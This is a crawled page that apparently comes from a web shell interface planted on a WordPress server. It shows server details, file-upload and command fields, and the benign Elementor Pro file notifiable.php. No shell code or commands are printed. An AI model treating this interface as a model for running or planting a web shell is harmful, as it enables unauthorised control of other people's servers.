403Webshell
Server IP : 193.239.44.106  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux web5 6.18.40-1 #1 SMP PREEMPT_DYNAMIC Sat Jul 25 21:08:44 CEST 2026 x86_64
User :  ( 10117)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/virtualki/259324/wp-content/plugins/elementor-pro/core/notifications/traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/virtualki/259324/wp-content/plugins/elementor-pro/core/notifications/traits/notifiable.php
<?php

namespace ElementorPro\Core\Notifications\Traits;

use ElementorPro\Core\Notifications\Notification;
use ElementorPro\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

trait Notifiable {

	/**
	 * Notify a Model with a notification.
	 * Syntactic sugar for sending notifications via the `Notifications_Manager`.
	 *
	 * Usage:
	 *  $model->notify( new User_Created_Notification( $new_user ) );
	 *
	 * @param Notification $notification - Notification to send.
	 *
	 * @throws \Exception
	 *
	 * @return void
	 */
	public function notify( Notification $notification ) {
		Plugin::instance()->notifications->send( $notification, $this );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit